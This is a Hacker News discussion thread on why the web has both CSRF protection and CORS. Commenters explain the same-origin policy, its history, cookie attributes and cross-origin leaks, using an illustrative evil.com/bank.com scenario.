[HN Gopher] Why do we have both CSRF protection and CORS?
       ___________________________________________________________________
        
       Why do we have both CSRF protection and CORS?
        
       Author : smagin
       Score  : 71 points
       Date   : 2025-03-02 15:32 UTC (7 hours ago)
        
 (HTM) web link (smagin.fyi)
 (TXT) w3m dump (smagin.fyi)
        
       | IgorPartola wrote:
       | What I never quite grasped despite working with HTTP for decades
       | now: how come before CORS was a thing that you could send a
       | request to any arbitrary endpoint that isn't the page origin just
       | not be able to see the response. Was this an accidental thing
       | that made it into the spec? Was this done on purpose in
       | anticipation of XSS-I-mean-mashups-I-mean-web-apps? Was it just
       | what the dominant browser did and others just followed suit?
        
         | PantaloonFlames wrote:
         | I don't have a Time Machine or a 1998-era browser but I'm not
         | sure what you described was the case. I think in the before
         | times, a browser could send a request to any arbitrary endpoint
         | that was not the page origin, and it could also see the
         | response. I might be wrong.
         | 
         | But anyway, ancient history.
        
           | fweimer wrote:
           | Wikipedia references this part of the Netscape Navigator
           | documentation: https://web.archive.org/web/20020808153106/htt
           | p://wp.netscap...
           | 
           | This suggests that the same-origin policy was introduced
           | rather quickly after the introduction of Javascript, as a
           | security fix.
        
         | LegionMammal978 wrote:
         | You still can make many kinds of requests [0] to an arbitrary
         | endpoint that isn't the page origin, without being able to see
         | the response. (Basically, anything that a <link> or a form
         | submission could do.) And you can't include any cookies or
         | other credentials in the request unless they have SameSite=None
         | (except on ancient browsers), and if you do, then you still
         | can't see the response unless the endpoint opts in.
         | 
         | Really, there's exactly one thing that the mandatory CORS
         | headers protect against: endpoints that authorize the request
         | based on the requester's IP address and nothing else. (The
         | biggest case of this would be local addresses in the
         | requester's network, but they've been planning on adding even
         | more mandatory headers for that [1].) They don't protect
         | against data exfiltration, third-party cookie exfiltration
         | (that's what the SameSite directive is for), or any other such
         | attack vector.
         | 
         | [0] https://developer.mozilla.org/en-
         | US/docs/Web/HTTP/CORS#simpl...
         | 
         | [1] https://wicg.github.io/private-network-access/
        
           | IgorPartola wrote:
           | Yes I know this is still the case today. My question is: how
           | did this come about? It seems to me that in the olden days
           | the idea of cross origin requests wasn't really needed as
           | you'd be lucky to have your own domain name, let alone make
           | requests to separate services in an era of static HTML pages
           | with no CSS or JavaScript. What exactly was this feature for?
           | Or was it not a feature and just an oversight of the security
           | model that got codified into the spec?
        
             | LegionMammal978 wrote:
             | Hotlinking <img>s from other domains has been a thing
             | forever, as far as I'm aware, and that's the archetypical
             | example of a cross-origin request. <iframe>s (or rather,
             | <frame>s) are another old example. And it's not like those
             | would've been considered a security issue, since at worst
             | it would eat up the other domain's bandwidth. The current
             | status quo is a restriction on what scripts are allowed to
             | do, compared to those elements.
        
               | IgorPartola wrote:
               | By definition those do allow you to see the response so
               | that's not really what is being discussed.
        
               | Muromec wrote:
               | Not really. You as an application generally can't read
               | across origin boundaries, but you can ask browser to show
               | it to the user.
        
             | hinkley wrote:
             | The field of web applications didn't really blow open until
             | we were into the DotCom era. By then Berners-Lee's concept
             | for the web was already almost ten years old. I think it's
             | hard for people to conceive today what it was like to have
             | to own a bookshelf of books in order to be a productive
             | programmer on Windows, for instance. Programming paradigms
             | were measured literally in shelf-feet.
             | 
             | Practically part of the reason Java took off was it was
             | birthed onto the Internet and came with Javadoc. And even
             | then the spec for Java Server Pages was so "late" to the
             | party that I had already worked on my first web framework
             | when the draft came out, for a company that was already on
             | its second templating engine. Which put me in rarified air
             | that I did not appreciate at the time.
             | 
             | It was the Wild West and not in the gunslinger sense, but
             | in the "one pair of wire cutters could isolate an entire
             | community" sense.
        
         | Muromec wrote:
         | That makes perfect sense in the early model of internet where
         | everything was just links and documents. You can make an HTML
         | form with action attribute pointing to a different domain.
         | That's a feature, not a bug and isn't a security vulnerability
         | in itself. Common use for this is to make "search this site in
         | google" widgets.
         | 
         | Then you can make the form make post requests by changing a
         | method. Nothing wrong with this either -- the browser will
         | navigate there and serve the page to user, not to the _origin
         | server_.
         | 
         | What makes it problematic is the combination of cookies from
         | the destination domain and programmatic input or hidden field
         | from the origin domain. But the only problem it can cause is
         | the side-effects that POST request causes on the back end, as
         | it again doesn't let the origin page to read the result (i.e.
         | content doesn't cross the domain boundary).
         | 
         | Now in the world on JS applications that make requests on
         | behalf of the user without any input and backend servers acting
         | on POST requests as user input, the previously ignored side-
         | effects are the main use and are a much bigger problem.
        
           | smagin wrote:
           | "search this site in google" shouldn't even be a POST
           | request, but yeah, when we'll have better defaults for
           | cookies it should work nicer. And if you are a web developer,
           | you should check your session cookie attributes and
           | explicitly set them to SameSite=Lax HttpOnly unless your
           | frameworks does that already and unless you know what you're
           | doing
        
         | fweimer wrote:
         | I think it once was a common design pattern to have static HTML
         | with a form that was submitted to a different server on a
         | different domain, or at least a different protocol. For
         | example, login forms served over HTTP were common, but the
         | actual POST request was sent over HTTPS (which at least hid the
         | username/password from passive observers). When Javascript
         | added the capability to perform client-side form validation, it
         | inherited this cross-domain POST capability.
         | 
         | I don't know why <script> has the ability to perform cross-
         | domain reads (the exception to the not-able-see-the-response
         | rule). I doubt anyone had CDNs with popular Javascript on their
         | minds when this was set in stone.
        
           | Muromec wrote:
           | >I don't know why <script> has the ability to perform cross-
           | domain reads
           | 
           | That's because all scripts loaded on the page are operating
           | in the same global namespace of the same javascript vm, which
           | has origin of the page. Since there are no contexts
           | granularity below the page level in VM, they have to either
           | share it or not work.
           | 
           | You can't read it however, you can ask browser to execute,
           | the same way you can ask it to show an image. It's just
           | execution can have result in a read as side-effect by calling
           | a callback or setting well-know global variable
        
             | fweimer wrote:
             | What I meant is that from a 1996 perspective, I don't see a
             | good reason _not_ to block cross-domain  <script> loads.
             | The risks must have already been obvious at the time
             | (applications serving dynamically generated scripts that
             | can execute out of origin and reveal otherwise inaccessible
             | information). And the nascent web ad business had not yet
             | adopted cross-domain script injection as the delivery
             | method.
        
               | Muromec wrote:
               | There is no reason for browser to block them if the page
               | is static and written by hand. If I added this script to
               | my page, then I want to do the funny thing and if the
               | script misbehaves, I remove it.
        
               | fweimer wrote:
               | Are you talking about the risk from inclusion to the
               | including page? The concern about cross-origin requests
               | was in the other direction (to the remote resource, not
               | the including page). That concern applies to <script>
               | inclusion as well, in addition to the possibility of
               | running unwanted or incompatible script code.
        
               | Muromec wrote:
               | Yes, I was talking about the risk from the perspective of
               | the including page. From the perspective of the risk to
               | remote it makes even less sense from the 90ies point of
               | view. Data isn't supposed to be in javascript anyway, it
               | should be in XML. It's again on you (the remote) if you
               | expose your secrets in the javascript that is dynamically
               | generated per user.
               | 
               | With a hindsight from _this year_ -- of course you have a
               | point.
        
               | fweimer wrote:
               | Ahh, the data-in-XML argument is indeed very convincing
               | from a historic perspective.
        
               | edoceo wrote:
               | The point being, presumably, the page author explicitly
               | chose to include a cross-domain script
        
               | Muromec wrote:
               | The script author however didn't. CORS is more about the
               | remote giving consent to exfiltrate the data than it is
               | about preventing injecting the data into it. You can
               | always reject the data coming in
        
               | swatcoder wrote:
               | The threat model of one site leveraging the user's
               | browser to covertly and maliciously engage with a third-
               | party site was something that emerged and matured
               | gradually, as was the idea that a browser was somehow
               | duty-bound to do something about it.
               | 
               | Browsers were just software that rendered documents and
               | ran their scripts, and it was taken for granted that
               | anything they did was something the user wanted or would
               | at least hold personal responsibility for. Outside of
               | corporate IT environments, users didn't expect browsers
               | to be nannying them with limitations inserted by anxious
               | vendors and were more interested in seeing new
               | capabilities become available than they were in seeing
               | capabilities narrowed in the name of "safety" or
               | "security".
               | 
               | In that light, being able to acccess resources from other
               | domains adds many exciting capabilities to a web session
               | and opens up all kinds of innovate types of documents and
               | web applications.
               | 
               | It was a long and very gradual shift from that world to
               | the one we're in now, where there's basically a cartel of
               | three browser engines that decide what people can and
               | can't do. That change is mostly for the best on net, when
               | it comes to enabling a web that can offer better
               | assurances around access to high-value personal and
               | commercial data, but it took a while for a consensus to
               | form that this was better than just having a more
               | liberated and capable tool on one's computer.
        
       | PantaloonFlames wrote:
       | To me, this seems a better treatment of the topic:
       | 
       | https://maddevs.io/blog/web-security-an-overview-of-sop-cors...
        
       | Scaevolus wrote:
       | > JS-initiated requests are not allowed cross-site by default
       | anyway
       | 
       | Incorrect. You can use fetch() to initiate cross-site requests as
       | long as you only use the allowed headers.
       | 
       | https://developer.mozilla.org/en-US/docs/Glossary/CORS-safel...
        
         | duskwuff wrote:
         | And JS can also indirectly initiate requests for resource or
         | page fetches, e.g. by creating image tags or popup windows. It
         | can't see the results directly, but it can make some
         | inferences.
        
           | 1oooqooq wrote:
           | there are so, so, so many ways to read this data back it's
           | not even fun.
        
             | Muromec wrote:
             | There are ways, but they generally need a cooperation of
             | both sides of the inter-domain boundary. What you generally
             | can't do is make arbitrary reads from the context of other
             | domain (e.g. call GET on their api and read a result) into
             | your domain without them explicitly allowing it.
        
               | duskwuff wrote:
               | Right. What you can sometimes do is observe the _effects_
               | of the content being loaded, e.g. see the dimensions of
               | an image element change when its content is loaded.
        
               | RandomDistort wrote:
               | Is there some document somewhere that lists all the
               | potential ways of doing stuff like this?
        
               | Herrera wrote:
               | Yeah, https://xsleaks.dev tracks most of the known ways
               | to leak cross-origin data.
        
               | smagin wrote:
               | oh hell yes. And oh yes iframes and postmessages, of
               | course people would setup them incorrectly and even if
               | they do some (probably not that important but still) data
               | will leak if you're creative enough. Thanks for the link!
        
         | smagin wrote:
         | you're right, you can initiate cross-site requests that _could
         | be_ form submissions. It was even in the post but I thought I'd
         | omit that bit for clarity. I should have decided otherwise.
        
       | TheRealPomax wrote:
       | And why do browsers not let users go "I don't care about what
       | this server's headers say, you will do as I say because I clicked
       | the little checkbox that says I know better than you".
       | 
       | (On which note, no CSRF/CORS post is complete without talking
       | about CSP, too)
        
         | siva7 wrote:
         | Almost as pointless as "Yes, accept all cookies" for our
         | european friends.
        
         | LegionMammal978 wrote:
         | I'd think SameSite/Secure directives on cookies are genuinely
         | important to avoid any malicious website from stealing all your
         | credentials. Otherwise, I'd imagine it's the usual "Because
         | those dastardly corporations will tell people to disable it,
         | just because they can't get it to work!!!"
        
         | syntheticcdo wrote:
         | You can! Go ahead and launch chrome with the --disable-web-
         | security argument.
        
         | tedunangst wrote:
         | Because then you will get users whining I didn't know what the
         | checkbox did and you shouldn't have let me check it.
        
         | yoavm wrote:
         | I wish the browser would just say "This website is trying to
         | fetch data from example.com, do you agree?"
         | 
         | The whole CORS thing is so off and it destroyed to ability to
         | build so many things on the internet. I often think it protects
         | websites more than it protects users. We could have at least
         | allowed making cookie-less requests.
        
       | mjevans wrote:
       | A post I was replying to got deleted, but I'd still like to gripe
       | about the positives and negatives of the current 'web browser +
       | security things' model.
       | 
       | Better in the sense of not being locked into an outdated and
       | possibly protocol insecure crypto-system model.
       | 
       | Worse in the sense: Random code from the Internet shouldn't have
       | any chance to touch user credentials. At most it should be able
       | to introspect the status of authentication, list of privileges,
       | and what the end user has told their browser to do with that and
       | the webpage.
       | 
       | If it weren't for E.G. IE6 and major companies allergic to things
       | not invented there we'd have stronger security foundations but
       | easier end user interfaces to manage them. IRL metaphors such as
       | a key ring and use of a key (or figurative representations like a
       | cash / credit card in a digital wallet) could be part of the user
       | interface and provide context for _when_ to offer such tokens.
        
         | hu3 wrote:
         | > Random code from the Internet shouldn't have any chance to
         | touch user credentials
         | 
         | One thing that helps with this are HttpOnly cookies.
         | 
         | "A cookie with the HttpOnly attribute can't be accessed by
         | JavaScript, for example using Document.cookie; it can only be
         | accessed when it reaches the server. Cookies that persist user
         | sessions for example should have the HttpOnly attribute set --
         | it would be really insecure to make them available to
         | JavaScript. This precaution helps mitigate cross-site scripting
         | (XSS) attacks."
         | 
         | https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
        
       | matsemann wrote:
       | One thing to note is that if you think you're safe from having to
       | use csrf due to only serving endpoints you yourself consume by
       | posting json, some libraries (like django rest framework) can
       | also opaquely handle html forms if the content type header is
       | set, accidentally opening you up for someone having a form on
       | their site posting on users' behalf to yours.
        
       | webdever wrote:
       | subdomains are not always the same origin. See "public suffix
       | list". For an example think of abc.github.io vs def.github.io
       | 
       | I didn't get the part at the end about trusting browsers. As a
       | website owner you can't rely on browers as hackers don't have to
       | use a browser to send requests and read responses
        
         | hinkley wrote:
         | Or abc.wordpress.com
         | 
         | Also a lot of university departments and divisions in large
         | enough corporations need to be treated like separate entities.
        
         | Muromec wrote:
         | You do rely on browsers to isolate contexts. The problem with
         | CSRF is that data leaks from one privileged context to another
         | (think of reading from kernel memory of another vm on the same
         | host on AWS). If you don't have the browser, you don't have the
         | user session to abuse in the first place.
         | 
         | The whole thing boils down to this:
         | 
         | - browser has two tabs -- one with authenticated session to web
         | banking, another with your bad app
         | 
         | - you as a bad app can ask browser to make an http request to
         | the bank API and the browser will not just happily do it, but
         | also attach the cookie from the authenticated session the user
         | has opened in the other tab. That's CSRF and it's not even a
         | bug
         | 
         | - you however can't as a bad app read the response unless the
         | bank API tells browser you are allowed to, which is what CORS
         | is for. maybe you have an integration with them or something
         | 
         | Browser is holding both contexts and is there to enforce what
         | data can cross the domain boundary. No browser, no problem
        
       | beala wrote:
       | If I may attempt to summarize:
       | 
       | CORS is a mechanism for servers to explicitly tell browsers which
       | cross-origin requests can read responses. By default, browsers
       | block cross-origin scripts from reading responses. Unless
       | explicitly permitted, the response cannot be read by the
       | requesting domain.
       | 
       | For example, a script on evil.com might send a request to
       | bank.com/transactions to try and read the victim's transaction
       | history. The browser allows the request to reach bank.com, but
       | blocks evil.com from reading the response.
       | 
       | CSRF protection prevents malicious cross-origin requests from
       | performing unauthorized actions on behalf of an authenticated
       | user. If a script on evil.com sends a request to perform actions
       | on bank.com (e.g., transferring money by requesting
       | bank.com/transfer?from=victim&to=hacker), the server-side CSRF
       | protection at bank.com rejects it (likely because the request
       | because it doesn't contains a secret CSRF token).
       | 
       | In other words, CSRF protection is about write protection,
       | preventing unauthorized cross-origin actions, while CORS is about
       | read protection, controlling who can read cross-origin responses.
        
       ___________________________________________________________________
       (page generated 2025-03-02 23:00 UTC)